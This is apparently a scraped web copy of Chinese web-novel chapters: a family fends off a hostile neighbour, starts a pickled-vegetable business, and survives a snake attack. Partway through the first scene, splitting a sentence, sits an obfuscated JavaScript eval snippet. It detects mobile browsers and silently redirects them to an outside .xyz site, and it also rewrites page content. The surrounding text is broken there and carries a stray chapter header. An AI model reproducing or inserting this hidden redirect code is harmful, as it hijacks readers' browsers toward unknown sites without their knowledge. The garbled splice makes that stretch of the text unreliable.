沈回和凌星回来就见沈来挥舞着烧火棍,被两个妇人按着,方秀霞要去夺棍,沈来扯着嗓子喊小春小夏来帮忙。 两孩子胆小归胆小,在看到沈来被按住后,松开彼此,一左一右,哭哭啼啼的趴方大嫂和方二嫂腿上。 “不要欺负小五叔叔呜呜呜呜呜。” “二叔叔回来我要去告诉二叔叔呜呜呜呜。” 沈小春和沈小夏哭着放狠话,也不忘使劲的拽人,不让她们欺负了沈来。 孩子哭的稀里哗啦,方大嫂和方二嫂听着心里也不舒服,她们好歹是大人,就算有仇怨和孩子又有什么关系? 而且四妹这样的针对一个小哥儿,说是因为二宝和三财心里不痛快,可到底是因为这个,还是因为四妹夫的荒唐事,才把怨气撒在别人身上,她们心里多少也有数。 但要她们真松手,二人也不敢。 家里汉子都在四妹夫手下,他们方家也因为四妹夫的原因,在村子里颇受重视,也得许多的好处。 四妹的性子是差了些,可家里指望着她呢,再差她们也只能帮着护着。 眼看着方秀霞夺走烧火棍,拿着棍子上去就砸向沈来,她咬牙切齿怒目而视,恨声道:“我今天打死你这勾男人的贱东西!” “啊!!!” 随着一声尖叫,烧火棍落在地上,咕噜噜的滚了好几圈被地面凸起的小石头挡住停下。 方秀霞满面怒容被痛苦替代,她捂着手腕,疼的蹲在地上哎呦个不停。 在烧火棍要砸向沈来脑袋的时候,沈回投掷出去一颗小石子,精准的砸在方秀霞的手腕处。 沈来以为今日难逃一劫,脑袋要开花,没想到紧要关头他二哥回来了。 心口咚咚咚跳个不停,沈来不敢回想,实在是胆战心惊。 “小五!小春小夏!你们有没有事?” 凌星飞快的跑来,一把推开按着沈来的两个妇人,将三个孩子护在身后,边担忧的问他们,边警惕的看着方家的人。 方大嫂和方二嫂是怵沈回的,凌星推她们的时候,便顺势松手,这会要去地上拉方秀霞起来,准备离开。 但她们晚了一步,方秀霞被沈回给提了起来。 衣服领口骤然一紧,方秀霞顾不得手腕的疼痛,心下一慌。等回神时,她竟是双脚离地。脚不踩地的感觉实在是叫人心中慌乱害怕,尤其是沈回那一双黑眸凶悍可怕,沉着的面容看不清情绪,却给人一种要被杀死的感觉。 恐惧惊慌萦绕,方秀霞吓的脸都白了,哪里还有之前的气势。 “你的胆子很大。”沈回冷声道。 其他几家一样被扔外面睡了大半宿,没人来闹找说法,就想着沈回出口气,这事能在沈回那过去。 若非前面不知道沈小五的孕痣被看了,大郎的遗孀还被打晕,他们哪里敢跟着方家去沈家要说法啊。 方秀霞感觉有些喘不过气来,她下意识的拽着沈回的手腕要推开。 她的力道对于沈回来说不值一提,反而是将人提的更高,沈回双臂肌肉隆起,手背青筋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14050415|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴涨。 他的面容沉静,眼睛一抬带着威压一般,“山上的虎穴蛇窟,狼群熊巢我一清二楚。再敢来我家做乱,你就不是睡在家门口,而是山里。听懂了吗?” 方秀霞吞咽着口水,沈家来村子的那年,她正好嫁人了。只在回村的时候,听说过沈家二郎的凶悍可怕。 也在镇上见过几次,每次都扛着猛兽的尸身,身上脸上全是血,瞧着骇人的很。 那些不是听说就是远远瞧着,心里怕归怕,但也忘的快。这是方秀霞第一次直面感觉到死亡威胁,她浑身僵硬发冷,心中懊悔又慌乱恐惧。 着实不该一而再再而三的怀揣侥幸,来招惹这煞神。 “听,听懂了。” 在方秀霞老实的点头说话后,沈回手一松,人跌倒在地。 一旁大气不敢喘的方家大嫂和二嫂这才上前,连忙把人扶起来。 她们没有多留,架着人就跑。 沈回一转头,就见凌星护小鸡崽一样的把三个孩子护在身后,正眼睛瞪的圆圆的,在盯着他看。 沈回上前一步,察觉到凌星有要后退的迹象时停下,他轻甩一下手腕,似漫不经心的问:“吓到了?” 单手把人提起来,还那么长时间,凌星对沈回的力气又了解了一些。有惊讶,但不至于吓到。 最多就是怕方家会报复沈家。 凌星轻轻摇头,“你手臂疼不疼?” 凌星问的认真,倒是叫沈回一愣,随后轻笑道:“没什么感觉。” 说罢看向沈来和小春小夏,“她以后不会敢再来,你们别怕了,出来带你们去村长家换糖吃。” 听说有糖吃,沈来满血复活,立即活蹦乱跳,“二哥你真好!我一点都不怕!” 小春和小夏眼睫毛还湿答答的,被糖诱惑着从凌星身后出来,大着胆子拉上沈回的衣摆。 小春仰头道:“二叔叔,那人前面可凶了。” 小夏紧随其后,“二叔叔,她们骂我们是尖东西。我们才不尖,娘说我和姐姐软软的。” 两孩子你一言我一语,声音小小的,话学的也不利索不全面,但告状虽迟但到。 沈回听着,仿佛听缩小版的沈归,在他耳边呜啦啦说一堆。 凌星跟着沈回一起去村长家,回来的时候,正好顺路走谢青崖那买明天要用的豆腐。 路上,三个孩子手牵手一起走,脸上带着笑忘了刚刚在家里被方家人吓哭的情绪,期待着甜甜的糖。 听着三个孩子小声的商量糖要怎么吃,沈回稍微落后一些,走在凌星的侧后方,“哥夫在担心什么?” 50-60 第51章 第 51 章 腌菜 菜压久了就会不新鲜, 日头越来越高,人也会越来越少。 太阳照射之后,菜会打蔫,更影响品相。 沈归依言照做, 这些菜的品相好, 按着普通的菜价,很快就卖掉了。 等汤包全部卖完, 太阳完全升起来, 空气中的清爽完全不见, 变得闷热。 把东西都收拾好送去仓库,又买了明天要用的原料, 三人出镇回家。 酒楼卖菜的事情, 沈归和凌星说了。 凌星也是没想到,当时那事还能在这里有坑。 其实沈归是有些担心的,他的菜田菜种的挺多。 当初为了买菜种, 还借了爹娘的银子。 应季的菜蔬卖的人很多,价格低贱。 想要赚上银子, 最好就是和酒楼饭馆这些签订供应契书。 不然靠着散卖很难真赚什么钱。 今天也全托了大哥夫摊位有食客的福,他的菜才能这么快的卖出去。 要是他自己另弄个摊子去卖,竞争多,卖出去的时间也会拉长很久。 还得再加个摊位费。 别说赚钱了, 不亏钱就算是好的。 不过沈归心里也有应对的办法, 他准备去县里卖。 就是路程远一些, 不过要是和县里的酒楼或是饭馆签订了契书, 那点距离也就不算什么。 镇上是刘家说了算,县里面总不可能每家都和刘家交好。 总会有那几家是对头。 一路上,凌星和沈归一直沉默着, 沈回也不好说什么,只能多注意周围。 到家后,沈归把今天赚的三十八文钱给曹满月收着,然后就跑去菜田里蹲着发呆。 心里琢磨要不要租辆推车,不然光靠他背的那点量,实在是卖不上价。 凌星找到沈归的时候,他还在纠结租推车的钱。 “四弟,我想买你的菜做腌菜。” 腌菜其实是凌星最开始就想要做的,根据原身的记忆,就算是他之前家中富足,也是会吃腌菜。 古代与现代不同,大棚保温这些根本就没有。 想要在冬天能够吃上一口新鲜的菜蔬,不是普通的有钱人家就可以做到。 那得是有权有势,有专门的庄子,专门的人修建暖房去种植。 因此,酱菜铺子很受欢迎。 除非是顶有钱的那一小撮,会看不上酱菜腌菜,其他的人不论有钱没钱,对这个还是很喜欢的。 由于腌菜和酱菜都需要时间,并且品质好点的盐还有一些调味料也是很贵的,成本过高。 而且那时候天冷也没有菜蔬给他做,巧妇难为无米之炊。凌星虽然会做,脑子里也有不少的方子,但也只是想想就放弃了。 现在家里有现成的菜,这个时节开始做,正好秋冬冷了可以上。 调味料那些,如今他也有本金可以去买。 酱菜腌菜做好了,其实很有市场。这东西可以久放,还能当做新的调味料做菜。 想到前世有名的辣椒酱,豆腐乳,适口性很好,商家赚的盆满钵满。 凌星对酱菜和腌菜,很是看好。 不过沈归不知道这些,他以为凌星是为了安慰他,才说要买他的菜。 “大哥夫,我没事的,你不用因为我买自己都用不着的菜。” “我想好了,镇上的饭馆酒楼不要我的菜,我就弄去县里卖。就是要去县里的话,我琢磨着一次弄多一些才行。你说我要不要去租一辆独轮车啊?村子里村长家和方家倒是有,方家肯定借不了,要是去村长家借车,村长能同意借嘛?” 凌星知道,不论借车还是租车,都不是问题。沈归真正纠结的,还是要不要去县里。 小柳村离县城比较远,进县城还要交钱,推着车卖菜的话倒是不需要摊位费。 可这么远的距离,说不准半途会有人抢劫。 大禹朝是新政权,尚未安定。尤其是云水县还是一个偏僻小县,治安方面因为林县令的原因比以前好很多,可不代表完全没有隐患。 比小柳村还要穷困的村子多的是,人都吃不上饭了,哪里还怕被抓起来挨板子坐牢啊。 这又没有监控,真的被抢,只能自认倒霉。 不怕一万,就怕万一。 凌星自己是不太赞同沈归黑灯瞎火的带那么多菜去县城,这不是明晃晃的靶子吗。 “四弟,你别担心,听我和你细说。” 凌星的声音轻和,很好的缓解了一些沈归的焦虑情绪。 顺着凌星的话,沈归看过来,一副认真听大哥夫说话的模样。 “我买你的菜,一是因为你的菜真的很好,二是因为我很早就想过做腌菜酱菜这些。方子我有很多,前两天做的酱黄瓜就是其中一个。” 正好今天酱黄瓜可以拿出来吃,那一小坛子是给谢青崖做的,但他也要先尝尝味道对不对不是。 怕沈归还以为他要买菜,是因为可怜他,便对沈归道:“走,跟我去灶屋。” 沈归蔫耷耷的跟着,游魂一样的走。 今天回来时曹满月就看出自己的相公不对劲,虽然菜全部卖光,但肯定也发生了些什么事,受了打击。 不然肯定会满面笑容,蹦蹦跶跶的。 哪里会是魂不守舍的安静模样。 去菜田的时候,曹满月更担心了。 这会看到人丧头耷脑的跟着大哥夫回来,曹满月不由松一口气。 好歹还知道跟着从菜田出来。 腌菜坛子放在墙角阴凉通风的地方,凌星抱起来将坛口的水弄去,然后开盖。 沈归的视线也不住的往那边飘,想第一时间知道,这酱菜味道咋样。 倒不是因为觉得酱菜做好了,他的菜可以卖给大哥夫。 纯粹是馋的。 因为他长这么大,没吃过好吃的酱菜。 家里舍不得花那个钱,去酱菜铺子里买。 自家做的,除了咸和微微发苦,没别的味。 凌星注意到沈归的神情,看出他被吃食吸引,心里也是一阵哭笑不得。 真是吃比什么都重要。 他加快速度,很快一阵浓郁咸香的味道传了出来。 沈归实在忍不住,勾头一看,深吸一口气。 “好香啊大哥夫!” 这会他是一点也顾不得难受,满脑子就只有酱香十足的腌黄瓜。 脸上明晃晃的三个大字,“我想吃!” 凌星用干净的筷子夹了一根小小的黄瓜出来。 还没长成的手指大小的黄瓜,经过腌制之后,变得软许多。 凌星舍得放调料,即便没入口吃,光闻着味道就觉得好吃。 这种小黄瓜腌制之后,口感清脆,又有酱香咸香,空口嚼着都十分美味。 沈归嘎吱嘎吱的吃着腌黄瓜,满足的不行。 “大哥夫你做吃食是真的很好吃。” 因为一根腌黄瓜,沈归最后的丧气也没了,又恢复成以往没心没肺笑兮兮的模样。 “喜欢吃我待会给家里也腌制一些。” 之前没有给家里弄,就是想着让沈归多卖些钱的。 现在镇子上的酒楼饭馆不可能会收他们家的菜蔬,散卖的话又太多,正好能放开手去做腌菜。 这小坛的酱黄瓜,是为了感谢王隽夫夫二人送来的书籍。 沈归只能回味着清脆咸香的味道,不好说还想吃。 想到刚刚凌星说的买他的菜做腌菜,沈归这会也是真的确定,他大哥夫不是因为可怜他想给他钱,所以找的借口。 “成,大哥夫你要多少直接去菜田里弄。” 至于钱,沈归没想着赚凌星的钱,给个成本价就成。 凌星见沈归完全恢复,笑了一声。 “四弟要和我一起做腌菜的生意嘛?” 现在因为有汤包摊子,加上摊子上卖的东西增多,后面凌星应该还会再增加。 这样一来,他其实是没有太多的时间去菜田摘菜,洗菜,再腌菜的。 最好的办法就是和沈归一起做。 沈归有时间,有原料,他有方子。 到时候就是他出方子加上售卖,沈归就做腌菜。 至于这样一来方子沈归会知道,凌星其实并不在意。 只要没有泄露给沈家以外的人,都没什么关系。 沈归虽说平时跳脱了些,但他不傻,知道这是凌星拉着他做生意发财呢。 这生意比曹满月帮着弄凉皮大多了,沈归不敢轻易点头。 不是怕被坑,而是怕他爹娘不同意,这明显是他沾大哥夫的福。 于是中午的时候,沈家一大家子坐在一起,商量起凌星和沈归做腌菜买卖的事。 凌星的态度很明确,不觉得自己是吃亏了,就想着有钱大家一起赚,既然不能分开,那就一起把日子过好。 沈家二老的态度就是不能让凌星吃亏,本来就对不起人家,哪能还这样占人便宜。 沈归倒是想跟着凌星干,可他最后还是得听爹娘的。 曹满月和沈归一个想法,而且在这事上,她其实不好插嘴吭声。 毕竟她自己已经在大哥夫那得了好处。 于是她全程坐一旁,一个字也不说。 也没僵持多久,就出了结果。 不管怎样,沈家二老也是想一家人把日子过好的。 谁不想蒸蒸日上呢。 就算是只过普通人家的小日子,可眼下也太穷了些。 屋子都快住不下。 小五今年刚十一,凌月五岁。也就是凌月年纪还小,但讲究一点的人家,凌月这年纪已经不会让他和哥儿或是女子睡一榻。 不说小五和凌月,就是小春小夏,这两孩子都七岁了,越来越大。 总不好一直跟着爹娘睡一个炕。 可家里实在没地方住,凌月的身体也不太好,刚来家里还不太熟悉,不好叫他和哥哥分开,与不太相识的沈回或是沈呈山一起睡。 更别说沈回今年二十三,之前因为家里穷,他为了赚钱整天不着家,在山上打猎,做的都是危险的活计,这才没有娶妻。 年纪拖到现在,再不成亲说不过去。 要是娶妻,就灶屋辟出来的那点小空间,怎么可能住得下。 家里得盖房子,老二得成亲娶媳妇。 这都是要钱的。 二老仔细考虑之后,对凌星说:“星哥儿,你想着家里带四郎做生意,我们很高兴也很感激。方子是你出的,后面也是你卖,给四郎的分成不用太多。” 凌星道:“爹娘不同意五五分的话,那就四六分。” “菜是四弟种的,我后面也确实没时间多放在腌菜上,需要四弟一直盯着。这样分成,我心里也能安心的去做别的事。” 沈家二老沉思片刻,到底没再说什么。 “行,就这么办吧。” 沈归闻言咧着个嘴笑,曹满月心里也清楚,跟着大哥夫做这个生意,虽然不能荣华富贵,但至少能保证吃穿。 累点苦点,也不算什么。 她喜极而泣,悄悄抹眼泪。 凌星和沈归二人没耽误,去菜田转一圈。 酱黄瓜是肯定要弄得,这个出的快,能先赚一波钱。 青菜凌星准备弄酸菜,豆角后面长成就做酸豆角。 萝卜能做的腌菜口味有很多,酱香味,香辣味,酸甜味。 辣椒的话,更是能做辣椒酱,泡椒。 白菜不仅可以做酸菜,还可以做泡菜,味道都是很好的。 至于茄子,切成细条晾干水分,加上盐,辣椒适量的香料,炒香放凉之后,一层茄子一层玉米面,装坛封好。 腌制成后,味道醇香,还有淡淡酒香,味道极好。【注1】 哪怕是蒜,都能腌成糖蒜,腊八蒜。 其他的一些菜蔬量不太多,凌星也就没规划,直接拉出去卖就可以。 光是这些,就已经够忙活的了。 “四弟,要是忙不过来,可以请三妹婆家人来帮忙。到时候分工合作,做不同腌菜的不同环节,也不怕秘方会泄露。” 之前云霞酒楼的事情,家里怕以防万一,去山里请人赵家人来帮忙。 春耕时节,最重要的日子,赵家也二话不说派了好几个壮劳力下来。 山里日子也不好过。 沈家开口的话,身为沈燕的丈夫赵长命肯定是要下来的。 听说沈燕现在还怀有身孕,让赵家人下来帮忙干活给工钱,多攒点钱留着养孩子也是好的。 沈归觉得可行,这事也直接和沈家二老说了。 给老两口感动的不行。 家里就这么一个女儿,做爹娘的也心疼。 要是能让女婿赚点钱,再带着亲家赚一些,女儿在赵家的日子就更好过。 不过这事还需要再等等,现在人手是够的,就看后面卖的怎样。 要是卖的好,肯定是要请人来帮忙。 凌星让沈来把酱黄瓜送给谢青崖,他忙完摊子要用的东西后,得教沈归做酱菜。 后面也得这样来,一直到沈归完全学会,不需要他盯着为止。 沈来跑过来要抱酱黄瓜小坛子,被沈回截胡。 他道:“我去送吧,正好有几个问题要向王隽请教。” 收到酱黄瓜的谢青崖迫不及待的就弄出一根来吃,直接就喜欢上清脆酱香的口感味道。 这下好了,他不想做菜的时候,只吃酱黄瓜就够。 听沈回说想要请教王隽问题,谢青崖边吃边道:“七郎在书房里面。” 王隽见到沈回过来并不意外。 前些年他与前任县令偶遇,闲聊了几句。那时候他看到了沈回扛着猎物离开的身影。 当时他猜着沈回应该是看出点什么,不过这些年他在村子里依旧安安稳稳,想着或许沈回当时没看清他。 直到上次送书,沈回小声的说想要请教他指点一二。 王隽就意识到,这人不仅是看见了他和前任县令讲话,似乎还知道点什么。 不过沈回一直没有说罢了。 想到自己的夫郎与凌星交好,这么多年来,还是青哥儿第一次交朋友。 凌星或是沈家人想要他帮忙做什么,他看在青哥儿的份上也会同意。 王隽也能感觉到,沈回确实只是想要问他一些科考相关的,并没有其他的意思,便点头同意。 今日还是沈回第一次来。 倒是比他想象中的要晚一些。 沈回自己先在家看书,前面基础的东西他看一眼就完全想起来,并没有什么问题。 后面的有些他拿捏不准,便攒着一起请教王隽。 到底是当过官,加上这些年也一直在看书,王隽三言两语便解开了沈回的困惑。 而沈回的领悟力也极强,有时候王隽说个开头,他就茅塞顿开,明白了整个意思。 屁股刚坐热,问题已经没了。 王隽说了几句话,嗓子有些发痒,轻咳几声后,直接问道:“沈二郎都知道一些什么?” 话虽然没头没尾,不过沈回却听明白了王隽的意思。 “只知道王兄曾是前任县令的上官,科考至少是个进士,其他就不晓得了。” 沈回没那么重的好奇心,知道这些之后也没有打听,其他的自然是一概不知。 王隽有些惊讶,看出他和前任县令认识倒还能解释。 他曾是前任县令上官的,这是怎么看出来的?他又没有写在脸上。 沈回见王隽疑惑,如实道:“我会读唇语,前任县令喊你大人。” 王隽了然,也清楚沈回是无意看见,后面的没有继续看。 这让王隽对沈回倒是另眼相看,有这样的能力,却没有刨根究底的盯着。 同时也松一口气。 沈回不知道其他。 “后面有什么不清楚的,尽管来问我便可。三日后来我这里一趟,我给你写一些之前看过的科考文章。” 沈回颔首道谢,“多谢。” 家里,凌星在手把手教沈归腌黄瓜。 沈归脑子活泛,学的也快。 第二坛凌星直接没动手,就在边上看着,沈归自己也磕磕绊绊的弄好了,没出什么差错。 晚上的时候,温度降低了一些,曹满月开始做凉皮。 她动作快,凉皮的形状好,也很均匀,没多大功夫就全弄出来了。 那竹篾蒸盘不小,五斤的面粉做出二十来张的凉皮,凌星看着堆起来的凉皮,心想足够明天卖一阵子。 凉皮要调料搅拌才好吃,凌星的摊位暂时无法提供搅拌服务,人手不多,忙不过来。 而且加上调料卖的就更贵,凌星想着还是和猪皮冻一样,告诉调料怎么弄,让食客自己回家按着口味搅拌。 好面一斤二十文,做五张大凉皮,还有不少的面筋。 单张加面筋,成本四文钱。 凌星准备半张凉皮加适量面筋卖四文钱,四分之一的凉皮加适量面筋卖两文钱。 这个价格不算贵,两文钱凉皮加面筋,切切也有一碗的量了。 试吃肯定是要搅拌好的凉皮,凌星第二天一早起来,直接切一张凉皮,加上一些面筋,用调料搅拌好。 他做了两个口味,一个香辣口,一个酸甜口的。 今天沈归依旧要跟着一起去卖菜,种类比昨天的少,但量没有变。 不用另外去酒楼饭馆找销路,沈归自己守在摊子上卖。 也因如此,今天汤包摊子上多加了凉皮,虽然忙了点,但没出什么乱子。 而凉皮,也受到了食客们的认可。 它本身的口感就爽滑劲道,天气热的时候吃,开胃解暑。料汁调的好,搅拌均匀,不论是香辣口的还是酸甜口的,都引得试吃的人停不下来。 恨不得一整碗全部吃了。 里面作为配料的面筋,裹着不同口味的汤汁,因为浸泡了有一会,很是入味。 一口咬下去,劲道口感直接爆汁,别提多美味。 好吃当然是要买,差钱的就买两文,不差钱的买四文。 好多是和猪皮冻一起买,天热吃不下饭,这两样就是下饭的利器。 沈归那边的菜卖的也快,太阳刚出来就卖的差不多。 都是从菜地里刚摘不久,都没被太阳毒晒过,正是最新鲜的。 价格又合适,能买的都捎带手买了。 菜卖的差不多,沈归就帮着凌星一起和食客们说怎么调料汁,让凌星得出空来喝水润喉。 因为猪皮冻,凉皮的量不少,卖的时间拉长,等汤包也卖光后,日头比之前要晚半个时辰,也更毒辣些。 三人回到家 ,凌星做明天要用的东西,沈归去菜地里面拔萝卜。 小春小夏还有曹满月帮着一起弄,后面还要清理干净,今天要腌萝卜。 凌月则是在私塾念书,中午不回来。 徐有芳忙着做绒花,她这两天做的更加得心应手,颜色和形也更加好看。 沈回去山上了,之前许七说要药粉,草药得去山上摘才行。 临走的时候,凌星喊住他,确认他带了驱蛇药,这才放人走。 出了家门走下一里地,沈回紧绷的状态才得以放松。 地里的活少,沈呈山得空在修农具,院子里叮当响。 大家都在忙着自己的事情,只有沈来坐在堂屋门口的门槛上,撑着脑袋发呆。 他没事情做,也想不到要做什么事。 就连扫地刷碗,都被四嫂嫂早早干完了。 阿月去读书,小春小夏忙着拔萝卜,也没人和他玩。 去村子里找人玩吧,男孩不带他。哥儿和女孩们又觉得他性子像男孩,不乐意和他玩。 沈来唉声叹气。 好无聊啊。 第52章 第 52 章 心跳加速 腌萝卜凌星准备做两个口味。 原身记忆里并没有吃腌萝卜的记忆, 他是哥儿,多少也是要通晓厨房的一些事情。 按着记忆里,因为萝卜和白菜储存得当,冬日里其实能吃上, 所以酱菜铺子一般不会腌制这两样。 卖不上价格。 这对凌星来说并不是一个坏消息, 没有那说明市场空缺啊。 只要味道好,不怕卖不出去。 第一种口味, 凌星准备做甜口一些的。 只用盐和白糖调料, 这样腌制出来的萝卜不仅干脆爽口, 还会有回甘。 甜味在古代很难得,这种腌萝卜凌星前世吃过, 适口性很好, 大众化男女老少都爱吃。 另一种就是麻辣味的,需要花椒,辣椒, 红油这些。 因为炼制红油需要大量的油,加上家里的陶锅不太适合弄这个, 麻辣味的凌星暂时搁置。 等到后面买了铁锅再弄,正好顺手把辣椒酱做出来。 萝卜洗干净切丝,或者切丁都可以。 凌星两种都做,然后手把手教沈归什么时候放料, 又放多少的料。 昨天腌黄瓜用了两个大腌菜坛子, 今天家里最后的两个大腌菜坛子也全部被用。 沈归腌菜腌的得心应手, 最后封坛的时候, 还有些意犹未尽。 他插着腰说:“明天得买新的腌菜坛子回来。” 地里还有不少的菜,确实需要买新的,还要腌制酸菜那些呢。 腌萝卜弄好之后, 凌星回去数钱。 今天因为猪皮冻做的多,又加上凉皮,还有汤包的数量也比之前多做了一百多个,盈利自然是比刚开始要多的。 凌星抱着明显沉甸甸的钱匣子,仔细数后,也不由得震惊。 竟然有一千九百七十四文。 抛去昨天买原料的钱,还有固定的摊位,仓库费用,今天因为多卖了半个时辰,还是按着一个时辰收十文钱。 因此摊位费今天是二十文。 今日纯利润一千一百九十三文。 这是凌星第一次一天纯利上一两银子。 累是累了些,每天早上背着十多斤的东西,肩膀都不是自己的了。 沈回背的更多。 卖的时间拉长,东西多一些,确实能赚更多。 还是那句话,要是能再镇上有住的地方就好了。 那他早中晚都能有东西卖。 不过本金还不够,需要再攒攒。 接下来日子,凌星的每日利润都维持在一千一百文左右。 家里的腌菜也做了十大坛。 其中酱黄瓜已经可以拿出去售卖。 之前给谢青崖做的酱黄瓜他已经吃完了,还专程跑过来和凌星说很好吃,顺便给凌星带了豆浆和豆腐。 这次酱黄瓜做好,凌星依旧送了一些给谢青崖。 给家里也留一些后,剩下的大半坛子,凌星弄去镇上卖。 酱黄瓜加上陶制的酱菜坛子还是有一定重量的,沈回背的东西足够多,凌星也实在背不动,就由沈归背着。 这些天地里能卖的菜卖的七七八八,正好他带的菜重量少不少,能背上酱黄瓜。 把摊位支好后,沈归还在想要怎么吆喝卖酱黄瓜呢。 他大哥夫直接弄个陶碗,给碗里夹一些放着。 这才想到之前卖凉皮的时候,就弄过什么试吃。食客们尝了味道后,基本上都买了凉皮。 凌星忙着包汤包,沈回又一张冷面脸,沈归便直接吆喝出声。 酱黄瓜卖的好不好,直接牵扯后面的生意,沈归自是着急。 “瞧瞧我家秘方腌制的酱黄瓜,选用的黄瓜是最鲜嫩无比的小黄瓜,口感清脆,回味甘甜,大家快来尝尝看,先尝后买!” 这一通吆喝,成功的吸引更多人的注意。 凌星听着沈归的话,有些吃惊。 没想到他这么厉害,买卖话术无师自通。 酱黄瓜卖一两二文钱。 前两天去镇上酱菜铺子打探过,里面最便宜的是三文钱一两。 他们定价不能再低,不然怕是会被酱菜铺子找麻烦。 酱黄瓜属于咸菜,只买一两,也足够好几个人吃一顿的了,性价比很高。 有食客们尝了后都被这口感折服,不由道:“小摊主啊,你这摊子卖的东西也忒多。手里这点钱,全都折你这了。” 凌星闻言不由一笑,继续麻利的包汤包,“我这卖的都便宜,几文钱就能买好几样,还好吃不是。” 食客们本也不是怪罪,都是开玩笑带着笑说的。 听了凌星的话,一想也是。 确实是好吃又便宜,也不怪他们控制不住自己的手就是想买。 这张嘴啊,死活也亏待不了一点。 酱黄瓜因为价格便宜,口感好。加上以前没有吃过这种酱菜,别说是之前汤包摊子的食客们,就连周围摊子的摊主都过来买。 黄瓜就算是应季出来卖,价格都是一众菜蔬里面偏贵的。 更别提现在还不是吃黄瓜的时候,等着它成熟,且还有一阵子。 按理说这种酱菜卖的不可能低于五文钱一两,结果这比酱菜铺子里最便宜的酱菜,都要便宜一文钱。 关键还能试吃,先尝后买。 大家伙也不差这两文钱,掏钱也乐呵,还都是能一家子一起吃的。 酱菜基本上都是食客们捎带手买的,一两一两的卖。以为还有不少,结果汤包那些卖完后,往坛子里一瞅,就剩个底了。 沈归扒着酱菜坛子乐的合不拢嘴,这生意能做! 剩下的那些,凌星分成三份。 分别给书铺掌柜,武大力还有许七送过去。 去武大力那时是先买好肉和猪皮,临走的时候才把酱黄瓜给他。 就这武大力还追上来又给凌星框里添了半斤的五花肉。 书铺掌柜没想到凌星还想着他,心里也是感动不已。 看出凌星只是为了答谢上次给他卖低价的纸,这是专程来道谢的。 以前这些纸会留给一些相熟的书生,可没一个记得他的好。 倒也不是说他就是贪图回报和蝇头小利的人,而是被人记着好,放在心上惦记的感觉实在是太好。 掌柜的这心里暖呼呼的,连声说要是还有受潮有印子的纸,一定给凌星留着。 凌星笑道:“多谢掌柜好意。” 去城门的时候,没看到许七,还是和以前一样叫小吏带给他。 酱黄瓜一个坛子能腌十斤。 第一坛除去送人和家里留的,卖五斤。 第二坛是全卖了。 两坛子酱黄瓜的成本是八十文,纯盈利二百四十文。 菜地里的黄瓜要是一点不留长成后吃,还能再腌十坛子差不多。 沈归可高兴了,这要是二十斤全卖了,还能多七十文钱的盈利呢。 他之前也出去干过小工,一天能给三十文都是顶好的活。 酱黄瓜出的还快,三天就能卖。 每三天卖两坛,那相当于一天能赚一百多文。 真是赚大发了啊! 虽然他只拿其中四成,可后面还有其他咸菜。积少成多,手里的钱肯定是越来越有。 日子有盼头,沈归回去的路上都忍不住哼小曲。 不过只有他自己听得懂哼的是什么。 下一波酱黄瓜腌好卖完后,端午也要到了。 大禹也有吃粽子的习俗,不过不是为了纪念谁,只是不知从哪一朝开始有人做这个吃,慢慢的就流传下来。 粽子是有点钱的人家才能吃得起,正宗的种子里面包的糯米很贵。 穷一些的会不用糯米就用糙米替代,更穷的直接就不吃。倒是会用艾叶洗澡和祭祖,也算是过了端午。 小柳村每年也没几家能吃粽子过端午,今年多了沈家。 一家人忙活快半年,总归是要吃一顿好的。 家里人都有事情忙,芦苇荡靠在河边,家里不放心沈来去,就只有忙完的凌星还有沈回去摘芦苇叶子。 这还是沈归跟着一起卖菜和腌菜后,沈回第一次单独和凌星出去。 他莫名的有些紧张,眼神虽没看凌星,但整个人的心绪都不由自主的落在他身上。 凌星对此毫无所觉,跟着沈回到一片芦苇地,目之所及都是鲜嫩的绿色,叶子长的真好。 以前凌星摘过有经验,摘的挺快。沈回没弄过,好几次都弄坏了叶子。 “摘这个叶子要快要准。” 凌星见沈回一直在失败,便上前手把手教他。 他将手覆盖在沈回的手背,边说边带着他的手快速往下。 啪—— 芦苇叶子摘下的瞬间,沈回跌坐在地。 “二郎你怎么了?哪里不舒服吗?” 人好好的突然坐地上,凌星很难不担心。 沈回喉间艰难滚动,他心中慌乱无比,只觉得心跳太快,要从胸口跳出来。 手背似乎被火炙烤过一般,整个手都抑制不住的轻微颤抖。 这情绪尚未来得及消化,突然沈回看到了什么,不由呼吸一滞。 之前还有些乱的眼神变得冷峻,盯着凌星的方向看。 准确的说是凌星身后。 “小心!” 一条细长带着花纹的蛇,吐着蛇信子朝着凌星的方向游来。 本是匀速游走,似乎发觉凌星没有注意,速度猛地加快起来,想要一击即中。 凌星听到沈回喊了一声什么,不等反应过来,手腕被一阵巨大的拉力往前带,整个人都朝着力量来源倒去。 沈回反应迅速,及时的把凌星拉离原来的位置。怕凌星摔到,用身体给他做肉垫。 那蛇一下子扑了空,瞬间转向沈回。 电光火石间,沈回爆发出惊人的力量与速度。单手扣住凌星,把人死死按在怀里,迅速翻身给凌星再多一层的防护。 另一只手在蛇冲过来的瞬间,看准时机,一把捏住了蛇头。 冰冷滑腻的触感让人感觉到不适。 蛇身肌肉调动拼命挣扎,蛇口往上张开,要对抗人的力量。 凌星还处于懵懵的状态,并不知道发生了什么事。 只晓得沈回突然喊一声,然后就拉住他把他按怀里后,在地上滚了一圈。 他缓缓抬头,从缝隙里看到沈回另一只手上疯狂扭动的蛇,吓得脸色苍白,人都僵了许多。 他看不得这玩意,连忙把头缩回去。嘴巴似乎碰到什么东西,也顾不上那许多,只想着把自己塞沈回怀里,什么也看不见才好。 咔嚓—— 随着一声怪异的骨裂声,沈回手中都快扭出残影的蛇,身子直挺挺的不动了。 血水从手中滑过,滴滴答答的落在草地上。 沈回浑身绷紧,喉结滚动,愣神了好一会,才动一下脖子,看向缩在他胸前的人。 脸颊被无意触碰到的地方,要烧起火来。 他声音低哑的要命,“哥夫,没事了。” 凌星侧过头,模糊间看到直线一样的玩意,忍不住打了个哆嗦。 “二郎你把它拿远些,我害怕。” “好。” 沈回单臂用力,蛇尸被他抛远。 